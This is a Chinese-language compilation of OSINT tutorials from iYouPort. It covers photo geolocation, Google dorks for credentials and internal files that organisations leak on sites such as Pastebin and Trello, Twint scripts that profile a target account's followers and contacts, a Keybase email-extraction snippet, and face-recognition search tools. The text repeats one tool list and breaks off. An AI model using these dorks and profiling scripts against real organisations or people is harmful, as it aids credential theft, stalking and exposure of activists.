如果目标照片在背景中有农场动物，则有可能根据养殖业来确定地理位置。下面是美国的地图，可以看到牲畜养殖按地区划分的概况。

例如，基于此地图，如果目标照片的背景是养猪场，您就可以知道应该将搜索重点放在爱荷华州/伊利诺伊州附近。http://www.radicalcartography.net/

鸟类是自然地理定位的另一个重要资源，因为它们经常出现在所有室外照片中。使用免费的应用程序，例如 Cornell 的 Merlin Bird ID，您可以通过上传照片来识别其中的鸟类。

在确定如下所示的这种鸟类名叫栗胁鹰之后，可以转到 Ebird.org 这样的网站，并在地图上查看这种鸟分布在什么地方。

很快就会发现，这种特殊的鸟类仅位于中西部非洲，这就能极大地缩小了可能性范围。在这里，可以继续将其与照片中的本地植物或树木所提供 的线索结合起来，并尝试找到与图片匹配的区域。

用例

「图」

这种方法的使用范围很广，从日常的信息验证到大的追踪调查项目，都可以使用到。

如果一张照片的发布者声称其事件所发生的地点值得怀疑，那么您就需要尽可能利用一切线索来实现追踪定位。

再例如，欧洲刑警组织发布了虐待儿童案例的相关照片，并寻求协助以确定照片的拍摄地点/照片中的内容。这些照片中通常只有植物树木，于是就可以通过自然线索来追踪。〇

How Nature May Reveal Secrets in Geolocation

原文

黑客如何使用dorks - iyouport

开源情报-每个人都可用的武器

【2020年9月18日存档】本文介绍一些基本方向，您可以尽情发挥创意。创造力是永无止境的

GoogleHacking 的概念最早由 Johnny long 引入；而 Google Dork 最初是指无法保护在线内容的那种人。 Google 可以很容易地挖掘出这种无能。后来这个词的含义逐渐随着时间而改变，目前它指的是，从 Google 获得机密信息的人。

我们已经多次介绍过 dorking 的用法，它是开源情报收集的支柱之一。

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》
- 实践《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 实践《社交网站上进行新闻收集和监视的基本指南》

不论是针对目标个人还是组织的深入挖掘、不论是对目标网络的窥探还是搜罗机密信息，Google Dork 都是一个强大的工具—— 完全免费，任何人都可以使用。

我们上传过一份手册介绍了 GoogleHacking 的白色、灰色、黑色情报的操作方法，简单易懂。您可以在这里下载：https://www.patreon.com/posts/ai-zi-shi-zhi-de-38193081

获取那种不会引起道德和法律关注的数据的方法被称为 「开源白色情报」，包括搜索已删除的和存档的页面、搜索有关目标人的某些信息、以及其他实质性信息等。

「灰色情报」 指的是那些引起道德关注的信息—— 包括获取网站的作者和所有者（无意识地）留下的信息，有关网站结构的信息、以及服务器的配置参数等等。

所谓的「黑色情报」—— 指的是比较激进的玩法，比如通过挖掘以获得内幕和机密信息、敏感的个人数据、以及程序和设备的配置参数的潜力。

总之，GoogleHacking 都能做到。

并且不仅谷歌有 **dork**，其他搜索引擎包括社交媒体平台搜索引擎，在此大同小异；比如我们介绍过的 tweetdeck 中使用的锁定目标方法等等。

今天介绍的是黑客在攻击前的侦查阶段使用的 dorks，也就是上述的灰色玩法。

这些技术在手动侦查中非常有用，可以找到有关任何目标组织的关键信息，这些信息可能由于某些操作不当的后果而被遗漏在互联网上了。

这里有一个视频：

这是 Google Hacking Database（GHDB）的官方链接：GHDB

您永远都可以创造新的独特 Dork，可以发布它，将其添加到整个数据库中让大众受益。

Google Dorks 的公式

「图」

“inurl:.“domain”/“dorks” ”

通常这样理解：“inurl” = input URL；“domain” =您想要的域。例如，.gov或.edu等，取决于您的目标；“dorks” = 您选择的dork。

您可以使用以下单词代替 inurl：

- intitle:
- inurl:
- intext:
- define:
- site:
- phonebook:
- maps:

- book:
- froogle:
- info:
- movie:
- weather:
- related:
- link:

上面的列表只是一些典型的示例，您可以深入研究它们并使用您选择的任何Dork，以相应地产生结果。

请务必理解，不仅限于 Google，**Dorks** 在 **Bing**、**Duck Duck Go**、**AOL** 和 **Yahoo** 等众多搜索引擎上都是有效的。

赏金猎人使用 Dorks 的主要原因之一是为了寻找第三方来源。组织和公司在日常运营中会使用 Pastebin，Jira，Github，Trello，Coggle 等等网站。在某些情况下，通常会将硬编码凭据存储在这样的公共平台上。

寻找第三方来源的 dork 看起来像这样：

site:「 third party vendor 」「 Organization name 」

Ulogx 总结了一份清单您可以参考。

- Codepad

site: codepad.co “Organization name”

Codepad 是一个在线编译器/解释器，有时您可以在此处找到硬编码的凭据。您可以查找关键密钥、密码、访问密钥、uuid、特殊URL等。

- Gitlab

inurl: gitlab “Organization name”

Gitlab 就像 github 一样用于存储源代码。您通常可以在此处找到内部源代码，有时还包括其他敏感信息。

- Scribd

site: scribd.com “Organization name”

Scribd 通常包含书籍和电子书，但是您有时也能在此找到员工上传的内部文件，其中包含密码或密钥。

- Atlassian

site: * .atlassian.net “Organization name”

这个Dork 可用于查找 confluence、Jira 和其他可能包含敏感信息的东西。

- NPM

site: npm.runkit.com “Organization name”

site: npmjs.com “Organization name”

这可以用来查找公司使用的 NodeJs 源码。

- Libraries IO

site: libraries.io “Organization name”

Libraries.io 是一个Web服务，是给开发人员的开源搜索引擎，并提醒开发人员所使用的软件库的新版本。

- Coggle

site: coggle.it “Organization name”

Coggle 是用于创建思维导图的。于是您可以在这里找到内部流程图，其中可能包含凭证或其他关键信息。

- Papaly

site: papaly.com “Organization name”

Papaly 用于保存书签和链接。有时您可以找到内部链接、文档和凭证。

- Trello

site: trello.com “Organization name”

Trello 是基于Web的看板。可用于查找公司的凭证和内部链接。

- Prezi

site: prezi.com “Organization name”

该平台用于演示，所以可能包含内部链接和可能的凭证。

- JSdeliver

site: jsdeliver.net “Organization name”

它是 NPM & Github 的内容分发网络（CDN）。

- Pastebin

site: pastebin.com “Organization name”

可能包含共享的关键信息。黑客以匿名方式共享信息。

- Repl

Site: repl.it “Organization name”

Repl是一个在线编译器。您可以在用户脚本中找到硬编码的凭据。有时包含非常有用的信息。不要忽略它。

- Gitter

site: gitter.im “Organization name”

Gitter 是一个开源消息传递平台。有时您可能会在这里找到包含凭据、内部链接和其他信息的私人消息。

基本就是这样。如果您有任何新的发现，欢迎分享给大家。别忘了打开创意，创造力是永无止境的。〇

原文

如何从推特挖掘情报（1）：一个流行工具的具体介绍 - iYouPort

开源情报-每个人都可用的武器

多玩几次就能很熟练了

「图」

「图」

这里不是对于该工具的第一次介绍，因为它真的很流行；比如下面：

- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》

以及其他。

是的，它就是 Twint。

我们已经讲述了一整年，所以本文将假设您对开源情报调查已经有所了解（如果您还不了解，可以参见这篇文章《开源调查应该是一种心智：得到它你需要几个步骤》；以及整个“开源情报”类目）。

这就是基本需求，没有更多了。

Twint 项目可以在这里找到。

其实有很多有关 Twint 的文章在网上，但是这些文章只是解释了如何使用它来刮取一些推文。虽然没什么问题，但是，这只是其中一个步骤而已 —— 并非全部功能。

本文将以几个完整的调查周期来展示 Twint，以帮助您理解如何最大程度地使用它，因为每个功能都值得使用。

在开始之前

做开源情报调查几乎就像在玩乐高积木一样，每个人都可以从相同的拼接开始，其结果取决于您的积木。

并没有终结者一般的超级数据库或工具，这里只有您、您的头脑和您手边的基本工具。

事实上这正是使开源情报调查极具魅力的原因。

1、基本用法

覆盖一些示例，以帮您了解如何处理 Twint。

01 用户名＋标签

通过此代码段，您将获得`noneprivacy`发送的包含`#osint`主题标签的每条推文。

```
import twint c = twint.Config() c.Username =
"noneprivacy" c.Search = "#osint"
twint.run.Search(c)
```

02 关注者/关注的人

下面的代码段将刮擦用户名为 Twitter 的每个关注者，要得到每个他关注的人，只需把最下面那行换成 twint.run.Following（c）。

```
import twint c = twint.Config() c.Username =
"twitter" twint.run.Followers(c)
```

请考虑到 Twitter 在阻止抓取工具方面做得很好，因此，您可能无法获得所有关注者/关注对象。在这种情况下，使用 Twitter API 来获取数据肯定没错。

请记住，在侦察阶段中，您很可能会使用其他工具（侦查工具太多了铺天盖地，这些年很多开发者都在投入对社交媒体情报的挖掘能力）。于是，如果某个工具无法返回预期的结果或无法正常工作，请使用其他适合您需求的工具 —— 工具多也是有好处滴。

2、实践

到目前为止，基本脚本已经足够，您可以在Wiki中找到其他示例。

假设这里想要获取一个名为 target 的用户的关注者，并且抓取限于拥有1000个关注者及以上的用户。

步骤是首先获得所有 followers, 然后从中提取具有1000个关注者及以上的用户。

那么就是这样的：

```
import twint # get the followers first c =
twint.Config() c.Username = "target"
c.Store_object = True c.User_full = True
twint.run.Followers(c) # save them in a list
target_followers = twint.output.user_object #
iterate over them and save in a new list
K_followers = [] for user in target_followers: if
user.followers 」= 1000: K_followers.append(user)
# now we can save them in an CSV file, for example
with open('K_followers.csv', 'w') as output:
output.write('id,username,followers, following\n')
for u in K_followers: output.write('{},{},{},
{}\n'.format(u.id, u.username, u.followers,
u.following))
```

这是一个非常简单的示例，它之所以如此“特别”，是因为它遵循了开源情报调查的三个基本步骤：

- 定义侦查目标，以及想要实现的目的；
- 获取需要的信息；
- 分析和过滤获得的数据。

在这一点上，应该深入研究这些关注者，例如获取其推文、并提取使用量最高的10个主题标签 —— 这些是重要的情报线索。

来看看怎么样。

3、提取前N个标签

现在继续前面的示例。在这种情况下，您已经有了一个用户列表，如果长度小于27，则可以使用一个查询。甚至可以生成各种流程来加快抓取过程。

```
import twint custom_query = "" hashtags = {} with open('K_followers.csv', 'r') as input: # we can ignore the first row input.readline() line = input.readline() while line: user = line.split(',')[1] hashtags.update({user: {}}) custom_query += "from:{} OR ".format(user) line = input.readline() custom_query = custom_query[:-4] c = twint.Config() c.Custom_query = custom_query c.Store_object = True c.Store_csv = True c.Output = "tweets.csv" # we want to hide the output, there will be a lot of tweets and the terminal might crash c.Hide_output = True twint.run.Search(c) tweets = twint.output.tweets_object # now we have all the tweets, let's elaborate the data # first iterate over the tweets for t in tweets: # then iterate over the hashtags of that single tweet for h in t.hashtags: # increment the count if the hashtag already exists, otherwise initialize it to 1 try: hashtags[t.username][h] += 1 except KeyError: hashtags[t.username].update({h: 1}) # now save the data with open('hashtags.csv', 'w') as output: output.write('username,hashtag,count \n') for user in hashtags: for h in hashtags[user]: output.write('{},{}, {}\n'.format(user, h, hashtags[user][h]))
```

现在已经获取了数据并对其进行了过滤，您必须对其进行分析，以获取有关调查目标的更多信息，从而对其进行分类。

为此，可以制作一个条形图，例如，查看每个单个标签在每个单个用户中所占的百分比。

另外，您可以看到被共享次数最多的标签，以查看您的调查目标是否属于某个“社区”。

请注意：这也是喜欢玩连锅端的追踪者常用的思考方式。

4、那些社区在谈论什么？

要识别社区，仅凭标签是不够的。

您需要获取用户之间的交互；例如，谁回答谁、谁提到谁，等等。

假设发现有一些用户似乎属于同一社区，因为他们几乎使用相同的 # 标签。那么现在要实现的目标就是扩大这个圈子到其他用户。

```
import requests import twint custom_query = ""
mentioned = {} replied = {} mentions =
['mention1', 'mention2', 'mention3'] replies =
['reply1', 'reply2', 'reply3'] for m in mentions:
mentioned.update({m: {}}) custom_query += "@{} OR
".format(m) custom_query = custom_query[:-3] # -3
because we want to leave a space for r in replies:
replied.update({r: {}}) custom_query += "to:{} OR
".format(r) custom_query = custom_query[:-4] #
Twint setup here c = twint.Config() c.Custom_query
= custom_query c.Store_object = True c.Store_csv =
True c.Output = "tweets_mentions_replies.csv" # we
want to hide the output, there will be a lot of
tweets and the terminal might crash c.Hide_output
= True twint.run.Search(c) tweets =
twint.output.tweets_object # now iterate over the
tweets to do a bit of statistics # we will
determine the most mentioned users # and the user
that got the most replies for t in tweets: #
iterate over the mentioned users for m in
t.mentions: try: mentioned[m]['count'] += 1 except
ValueError: mentioned.update({m: {'by':
t.username, 'count': 1}}) # we don't have the user
which we reply in the tweet object, tweet # but
from the tweet ID we can get redirected to the
original URL # and from the URL, extract the
username _reply_to = requests.get('https://
twitter.com/statuses/
{}'.format(t.conversation_id)).request.path_url.split('/
[1] try: replied[_reply_to]['count'] += 1 except
KeyError: replied.update({_reply_to: {'by':
t.username, 'count': 1}}) print('.', end='',
flush=True) # and now save to CSV for further
analysis actions = {'mentioned': mentioned,
'replied': replied} for a in actions: action =
```

```
actions[a] with open('{}.csv'.format(a), 'w') as
output: output.write('author,{},count
\n'.format(a)) for user in action:
output.write('{},{},{}\n'.format(action[user]
['by'], user, action[user]['count']))
```

现在查看 mentioned.csv 和 replied.csv，将能够看到谁提及最多，谁得到了最多的提及，对于回复也是如此。

例如，如果有两个用户既是被提及最多的人、又是提及他人最多的人，就可以推断出它们是讨论的核心。

5、一致性

数据的一致性具备所有推文都包含特定的主题标签、和/或关键字的事实。

怎么才能知道数据集是一致的？因为它是 Twitter 本身为搜索查询返回的数据，所以一切都取决于您是否为调查目标确定了正确的查询范围。

因此，再次强调，确保要寻找的是您所需要的，反之亦然。

6、准确性

最常用的词正是我们所寻找的词，做到这一事实就是准确性。

是啊，但是？

这不是一环循环。您可以提取其他最常用的词并重新运行脚本。

“最”这个字或多或少是相对的，不要误解，例如，您不需要提取使用率最高前三个词。您必须选择“具有统计意义”的字词；意思是，如果使用的三个词的出现率约为2%，那就算了吧，因为出现率太小了。

但是在执行此操作之前，您必须过滤数据集，例如 不要计算文章、名词、代词、和“太笼统”的单词。这些通常称为“stop words”。

说起来好像有点复杂，但是，稍微玩一下您就能掌握，并且可以增加很多信心。

请使用 Twitter 高级搜索进行一些测试，以了解有关用于排除或包含

特定单词的运算符的更多信息。您可以在这里回顾推特运算符的使用：《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

您还需要更改代码。强烈建议您对Python脚本编写有一定的信心。

如何建立查询

在前面的示例中，我们始终假定查询正确，即 该查询返回了所需的数据。但是，如何构建查询呢？

有些时候指定几个标签和/或关键字可能就足够了。例如，如果要想挖掘有关开源情报的推文，则搜索“ #OSINT” 就足够了。对于其他字段（如信息安全、隐私 等等）也是如此。

如果您想要挖掘经常被一个或多个主题标签标识的社区网络（并假设对此一无所知），首先，可以使用OR运算符搜索这些标签，在最高百分比中提取用户名，然后搜索提及这些用户或回复这些用户的推文。

这样一来也许很快可以确定覆盖主要角色的用户。

深入分析和研究图表的“方向性”，可以区分四种主要角色：

- 创造了新内容的人；
- 谁提到了谁；
- 谁在答复；
- 谁在转发。

您可以在具有四个级别的树形图中绘制交互关系。首先放置创建内容的用户，然后转到最后放置转发者的位置。

还可以更深入一些，但是本文的目的不是解释社交媒体/网络分析。这里的主题是调查，于是下面还需要识别交互网络，所以分析就到此为止了。

对开源情报有用的查询

幸运的是，在这种情况下，由于大多数人通常会搜索详细的信息，以便：

- 将该帐户与其他社交圈中的其他人联系起来；
- 以及，发现联系方式和其他多汁的情报。

所以无需更多解释。

1、将Twitter帐户连接到其他社交网站

可以只搜索包含完整域的推文；但由于 Twitter 有字符限制，因此也需要搜索缩短的URL。然后分析数据。

以下是完整和缩短URL的有用列表：

Facebook:

- `facebook.com`;
- `fb.me`;
- `on.fb.me`.

Youtube:

- `youtube.com`;
- `youtu.be`.

Instagram:

- `instagram.com`;
- `instagr.am`;
- `instagr.com`.

Google:

- `google.com`;
- `goo.gl`.

Linkedin:

- `linkedin.com`;
- `lnkd.in`.

Instagram 的案例

```
import twint # get the followers first c =
```

```
twint.Config() c.Store_object = True c.Username =
"target" c.Search = "\"instagram.com\"" #
"instagram.com" = the tweet must contain this word
# we might add other keywords to scrape only one
search # c.Search = "\"instagram.com\" \"fb.me\"",
the tweet must contain at least one of two
twint.run.Search(c) # let's analyze the data #
I'll go straight to the content, and you'll see
why tweets = twint.output.tweets_object links = []
for tweet in tweets: text = tweet.text.split(' ')
for t in text: if t.startswith('instagram.com'):
links.append(t) ig_users = {} for l in links: l =
l.replace('instagram.com/', '') # clean up the
data l = l.split('?')[0] # remove tracking codes,
like ?igshid=1x89qxivizphf slashes =
len(l.split('/')) user = l.split('/')[0] try:
ig_users[user] += 1 except KeyError:
ig_users[user] = 1 # now let's get some rank and
let's see the top 5 users import operator i = 0
sorted_users = dict(sorted(ig_users.items(),
key=operator.itemgetter(1), reverse=True)) for
s_user in sorted_users: if i == 4: break
print('User: {} | Rank: {}'.format(s_user,
sorted_users[s_user])) i += 1
```

现在，如果您看一下输出，您会发现p /的计数很高。事实证明 p / 不是一个用户，而是代表指向用户特定帖子的 link。

就此可以推断出，如果 Twitter 用户分享了包含 instagram.com/p/ 的链接，那么他/她正在共享的是一个帖子。否则他/她分享的是一个 Instagram 用户。

基本上，假设您要搜索分享了 Instagram 帖子的 Twitter 用户，则需要在查询上做一些优化，比如这样 `c.Search = "\"instagram.com/p/\""`.

随之而来的是，如果您要搜索分享了一个特定链接的帖子的用户，那么就是这样 `c.Search = "\"instagram.com/p/postID\""`.

同样，如果您要搜索分享了链接到特定 Instagram 帐户的用户，就是这样 `c.Search = "\"instagram.com/accountName\""`.

共享ID几乎是唯一的，因此，如果两个用户共享了具有相同ID的 Instagram 帖子的链接，则它们之间可能会发生强烈的交互。或者他们甚至可能是同一个人的两个分身。

- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《分身的正确操作方式》

从简单的信息（如域名）开始获取所需的更多信息，获取数据，进行过滤和分析。在对其进行分析时，第一个一般范围信息分为两类：用户和帖子。

知道了这一点现在就可以进行更多丰富的查询，从而请求更详细的数据。

此方法在 Facebook 上会非常有效。下面是一些示例。

YouTube 示例

Youtube 不像 Instagram，当用户将其 Twitter 帐户连接到 Youtube 时，就会泄漏更多信息。

您可以搜索有关点赞的视频、甚至对某个目标视频发表评论的用户的推文，或者仅仅是分享该视频的推文。

在进入脚本之前，需要先搜索您真正想要的内容。因此，在第一阶段，需要了解以下模式：

- 点赞了视频的推文；
- 分享了视频的推文；
- 评论了视频的推文。

1、点赞的视频

用这个来查找： `"youtu.be" "youtube.com" "Liked on YouTube"`.

你会第一眼看到 Liked on YouTube，这里有视频的标题。

此信息非常有用，因为如果由于某种原因删除了该视频，您仍然可以知道用户点赞了的视频，因此可以在其他平台中搜索该视频。

您也可以应用反向搜索，例如，如果要搜索点赞了特定视频且使用了

缩短网址的用户，那么就这样 https://youtu.be/wcLiJHz3JRc” “Liked on YouTube。

2、分享的视频

如果仅搜索缩短网址，例如这样 “https://youtu.be/wcLiJHz3JRc”；你会看到一种特定的模式，其中包含一些随机文本，缩短的URL，然后是 “via @YouTube”。

由于文本几乎是随机的，因此我们将搜索静态部分。所以查询是 `"youtu.be" "youtube.com" via @YouTube.`

反向查询是 `https://youtu.be/3z9sq9e5iu4 via @YouTube.`

如果您不知道视频的网址，但是有几个关键字可以让您猜测视频的名称，那么，只需将它们放在查询中即可，但请注意，这与搜索 `"keyword1 keyword2"` 和`keyword1 keyword2`完全不同。

多玩一会就能对布尔搜索充满信心了。

- 《关于布尔搜索的玩法》

3、评论过的视频

`via @youtube "Check out this comment".`

您能看到这个搜索与发布的评论有关，而不是视频。我希望将其重定向到视频，但我尝试的链接返回了404。运气不好。

Facebook 示例

无论如何，直接搜索和反向搜索均有效。

- `userID/posts/postID`；
- `username/posts/postID`；
- `story.php?story_fbid=postID&id=userID`;
- `permalink.php?story_fbid=postID&id=userID`;
- `events/eventID`。

也许还有其他一些，但即使是大多数情况下，仅凭这些也就足够了。

如果不知道 postID，那么可以拆分该网址，然后搜索，这样："facebook.com/story.php" "&id=userID".

Google 和 Linkedin

Google 和 Linkedin 通常会在网址末尾附加一个类似哈希的内容，因此这里也没有模式。但是仍然可以对链接进行直接和反向搜索。

很多时候都可以使用为 Instagram 编写的相同代码，而无需进行任何更改。

发现联系方式

在这种情况下，您几乎可以使用所需的每种组合，以下有几种：

- "@gmail.com"，和/或其他电子邮件服务；
- [at]gmail[dot]com，和/或其他电子邮件服务；
- "contact us";
- "hotline" "contact"，人们有时会提起 Whatsapp 或其他IM服务的联系人；
- 先前示例的其他各种组合。

Keybase 允许您验证自己拥有的 Twitter 帐户，通过 Keybase 给您发送的定制推文进行验证。也许它并不流行，但是它可能有用。

因为在 Keybase 上，您可以验证其他社交网络上其他帐户的所有权，并添加一个PGP密钥，其中可能包含电子邮件地址。

要提取电子邮件地址，您可以使用此代码段；link to the gist

```
import requests, base64, re, sys r =
requests.get("https://keybase.io/" + sys.argv[1] +
"/key.asc") body = r.text.split("\n\n") key =
body[1].split("-----") for email in re.findall(r'
「(.*?)」', str(base64.b64decode(key[0]))):
print(email)
```

活动分析

确定一个用户（或更多用户）的每日和每周活动。

给定一个时区，您可以通过查看目标对象的活跃时间来估算目标所在

的时区。

为了简化此操作，您可以使用 Excel 或 Kibana。在第一种情况下，您将需要从 Time 字段中“提取”小时，并从 date 字段中“提取”星期几。

建议您在必须处理大量推文时使用 Kibana。

最后

就是这样！这是是挖掘推特情报的第一部分内容。后面将介绍其他角度的玩法。

如果您有更好的方法，欢迎留言探讨，也许我们可以更新它。玩得开心。〇

广告

原文

新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音 - iyouport

开源情报-每个人都可用的武器

【019年11月14日存档】本系列内容不定期更新，汇总最新开发的开源情报技术，为所有真相爱好者助力

这是一个新的系列，将会不定期更新，汇总我们在全球开源情报社区获得的资源；希望能为中国的真相爱好者提供帮助。

更新不会定期，因为开发速度不同，其间会出现很多变故，比如 Facebook 封锁图谱搜索那样的突发事件也会随时出现；并且，我们会尽可能选取对中国调查者来说有意义的工具和信息。

希望这些内容能连接中国技术社区、民间真相爱好者、公民记者和民主追求者，尤其希望中国的行动人士能从中获得灵感。

⚠非常建议参考我们在“**OSINT**”栏目中提供的演示，那是深度调查的思考方式，比工具更重要。

⚠请注意：其中的演示视频为 YouTube，如果您正中国，需要使用代理才能观看 —— 这点在IYP全网通用。

1、面部识别搜索引擎

当大多数人都热衷于上传自己的脸在互联网上后，就会诞生一个庞大的数据库，接下来的事必然是对这一数据金矿进行开采了。

开采行为必定同时包括恶意的和善意的两种，其中善意的使用就是公民主导的真相事业：开源情报。

如果您的调查目标比较喜欢晒，您的调查过程会更加顺利……这对任何开源情报工具来说都一样。

这里是两个面部识别搜索引擎：

第一个：https://pimeyes.com/en/

上传一张照片你能找到此人在网上任何地方出现的信息；不过需要注册高级用户才能解锁一些功能让搜索更准确。

如果你要搜的脸在社交媒体上，用第二个：https://github.com/Greenwolf/social_mapper

支持 LinkedIn、Facebook、推特、Instagram、俄罗斯的 VK，中国的微博、豆瓣。

这不是全部。由于面部生物识别数据量已经非常庞大，相关搜索市场的竞争越来越激烈，参与者包括科技寡头。

于是有很多工具正在被陆续推出。比如：

PimEyes：功能类似于 Google 的反向图像搜索。它使用面部识别技术来分析来自一百多万个网站的图像，以找到一个很好的匹配。

BetaFace：不是免费服务，它提供较为先进的面部识别技术，有可能具有更大潜力。

它可以完全分析一张脸，以提供更详细的结果，包括性别、年龄、胡须颜色、头发形状和下巴大小等特征。

该工具具有大量的功能可以比较面孔。所有结果都以表格形式显示，用于面部识别匹配。

此外谷歌、IBM、微软都有开发自己的面部识别搜索引擎工具，但是都没有上面两个更好。

并且，**SocialLinks** 是另一个面部识别搜索引擎，比前面推荐的那俩还厉害；

任何地方拿到一张照片，几分钟内就可以找到此人在社交网络上的身份，并且以图示的方式展示此人的人际关系网络：囊括所有社交关系。

任何在互联网上上传过照片的人都可以被挖出来。

操作非常简单无需基础，这里有操作演示（请注意它不免费而且不便宜）：

⚠就算您对真相挖掘毫无兴趣，这些工具也值得您了解 —— 关于您上传互联网的任何内容的风险性问题。

对于脸部，在这里看到详细介绍：《你曾经在社交网络上发布过自己的照片？你危险了！》

2、Twitter 数据分析：针对大型群体事件和其他热点话题

以下是一些好用的推特分析工具，尤其是对大型群体事件的调查来说。

followerwonk.com

socialbearing.com

foller.me

tinfoleak.com

twitonomy.com

把过滤器调准一点，效果会很好。

社交媒体情报是必然存在的，但它非常有必要用在正义的事业上。

更多：

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

3、暗网爬虫

这里是一个暗网的隐藏服务爬虫 POOPAK：https://github.com/teal33t/poopak

它构建为在 Docker 容器中运行，并具有一些非常好的功能：

- 提取URL，
- 电子邮件地址，
- EXIF数据，

- BTC / ETH地址，
- 制作屏幕截图，
- 运行安全测试等内容

甚至提供易于使用的 GUI。对于调查来说应该很有用。

4、检查推特账户僵尸粉含量的工具

如果您怀疑某些明显为宣传性的账户为什么“如此多关注者”，可以使用以下这些工具分析其是否掺假：

- botornot.co；
- Fakers.statuspeople.com；
- 还有一个可以可视化结果的工具：https://sparktoro.com/tools/fake-followers-audit

社交媒体机器人非常多，例如，特朗普的推特账户有61%是机器人，在这里看到分析报告。

5、隐藏的朋友

如果您是活动家，这方面的技术需要您警惕，因为它会导致“连锅端”维稳。

尤其是组织动员者，也许您认为自己隐藏得很好，但实际上并不够，请注意下面的操作演示，如何挖掘一个人“隐藏”的人际关系网络。

蛛丝马迹都是非常重要的。

⚠这就是为什么我们警告任何敏感人际关系不要在社交媒体上体现，尤其是活动家团队，你们之间不应该在互联网上存在任何联系。

（工具本身不是恶意的，是开源调查自动化）

该演示视频以扎克伯格为例（它可以挖出任何人）：

请注意：即便没有上面这个自动化工具，在互联网上也不难挖到你希望隐藏的东西。

回顾 IYP 的开源调查演示案例，仅仅通过公开社交媒体信息，挖出政治旋转门《深层政治：Facebook金字塔的人形肌理 》。

🔐自我保护方法详见：

- 《角色扮演：行动者刚需》
- 《分裂人格的魅力》
- 以及《某些行动者，你需要一个袜子木偶》。

6、在暗网找到好东西

这里有一个列表，是在 TOR 网络上存在的一系列真实网站的目录。

该列表有多个类别，从全球透明度革命的档案到新闻媒体，从公民社会组织到技术安全等等，全有。

https://github.com/alecmuffett/real-world-onion-sites

下图只是一个例子。

7、网页抓取工具

SingleFile 是一个小工具，具有适用于 Chrome、Firefox 和 Opera 的插件，可将完整的网页保存到单个文件中，同时保持布局。

图像可能是以 Base64 GIF 或 PNG 格式存储的。开源。

请记住不要用于官方证据收集！

用于收集开源情报或保存网页以供其他非官方使用，它绝对是赢家：https://github.com/gildas-lormeau/SingleFile

8、安全检查—selfcare

你安全吗？

“We Leak Info”是了解数据泄露的新途径。

他们有超过7.500个数据泄露索引，超过100亿条记录。

⚠您可以查询数据集，以获取有关电子邮件地址、用户名、哈希、电话号码、IP等信息。

它会列出所有数据泄露，显示是否是可下载的数据集，或者显示数据来自哪个原始网站：weleakinfo.com

9、挖抖音

中国抖音的使用量之高和其跨国输出趋势，已经令该平台变成了一个新的开源情报数据来源。

简单说，挖掘真相的新渠道。

开发人员正在努力针对该数据金矿设计调查工具。

这里是一个简单的搜索工具—— 用户名、主题标签、全名/关键字：https://www.osintcombine.com/tiktok-quick-search

想必很快会有更多挖掘工具诞生，比如，快速人脸识别搜索匹配。

—— 持续更新中 ——

原文

新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音 - iYouPort

开源情报-每个人都可用的武器

本系列内容不定期更新，汇总最新开发的开源情报技术，为所有真相爱好者助力

「图」

「图」

这是一个新的系列，将会不定期更新，汇总我们在全球开源情报社区获得的资源；希望能为中国的真相爱好者提供帮助。

如果您关注过 Evans 的 tweets，您会发现他经常推荐一些新推出的技术工具。IYP 现在汇总他提供的内容，并增加其他新的内容，提供给没有使用 Twitter 的中国读者参考。

更新不会定期，因为开发速度不同，其间会出现很多变故，比如 Facebook 封锁图谱搜索那样的突发事件也会随时出现；并且，我们会尽可能选取对中国调查者来说有意义的工具和信息。

希望这些内容能连接中国技术社区、民间真相爱好者、公民记者和民主追求者，尤其希望中国的行动人士能从中获得灵感。

⚠非常建议参考我们在“"OSINT"”栏目中提供的演示，那是深度调查的思考方式，比工具更重要。

⚠请注意：其中的演示视频为 YouTube，如果您正中国，需要使用代理才能观看 —— 这点在IYP全网通用。

1、面部识别搜索引擎

当大多数人都热衷于上传自己的脸在互联网上后，就会诞生一个庞大

的数据库，接下来的事必然是对这一数据金矿进行开采了。

开采行为必定同时包括恶意的和善意的两种，其中善意的使用就是公民主导的真相事业：开源情报。

如果您的调查目标比较喜欢晒，您的调查过程会更加顺利……这对任何开源情报工具来说都一样。

这里是两个面部识别搜索引擎：

第一个：https://pimeyes.com/en/

上传一张照片你能找到此人在网上任何地方出现的信息；不过需要注册高级用户才能解锁一些功能让搜索更准确。

如果你要搜的脸在社交媒体上，用第二个：https://github.com/Greenwolf/social_mapper

支持 LinkedIn、Facebook、推特、Instagram、俄罗斯的 VK，中国的微博、豆瓣。

这不是全部。由于面部生物识别数据量已经非常庞大，相关搜索市场的竞争越来越激烈，参与者包括科技寡头。

于是有很多工具正在被陆续推出。比如：

PimEyes：功能类似于 Google 的反向图像搜索。它使用面部识别技术来分析来自一百多万个网站的图像，以找到一个很好的匹配。

BetaFace：不是免费服务，它提供较为先进的面部识别技术，有可能具有更大潜力。

它可以完全分析一张脸，以提供更详细的结果，包括性别、年龄、胡须颜色、头发形状和下巴大小等特征。

该工具具有大量的功能可以比较面孔。所有结果都以表格形式显示，用于面部识别匹配。

此外谷歌、IBM、微软都有开发自己的面部识别搜索引擎工具，但是都没有上面两个更好。

并且，**SocialLinks** 是另一个面部识别搜索引擎，比前面推荐的那俩

还厉害；

任何地方拿到一张照片，几分钟内就可以找到此人在社交网络上的身份，并且以图示的方式展示此人的人际关系网络：囊括所有社交关系。

任何在互联网上上传过照片的人都可以被挖出来。

操作非常简单无需基础，这里有操作演示（请注意它不免费而且不便宜）：

⚠就算您对真相挖掘毫无兴趣，这些工具也值得您了解 —— 关于您上传互联网的任何内容的风险性问题。

对于脸部，在这里看到详细介绍：《你曾经在社交网络上发布过自己的照片？你危险了！》

2、Twitter 数据分析：针对大型群体事件和其他热点话题

以下是一些好用的推特分析工具，尤其是对大型群体事件的调查来说。

followerwonk.com

socialbearing.com

foller.me

tinfoleak.com

twitonomy.com

把过滤器调准一点，效果会很好。

社交媒体情报是必然存在的，但它非常有必要用在正义的事业上。

「图」

「图」

更多：

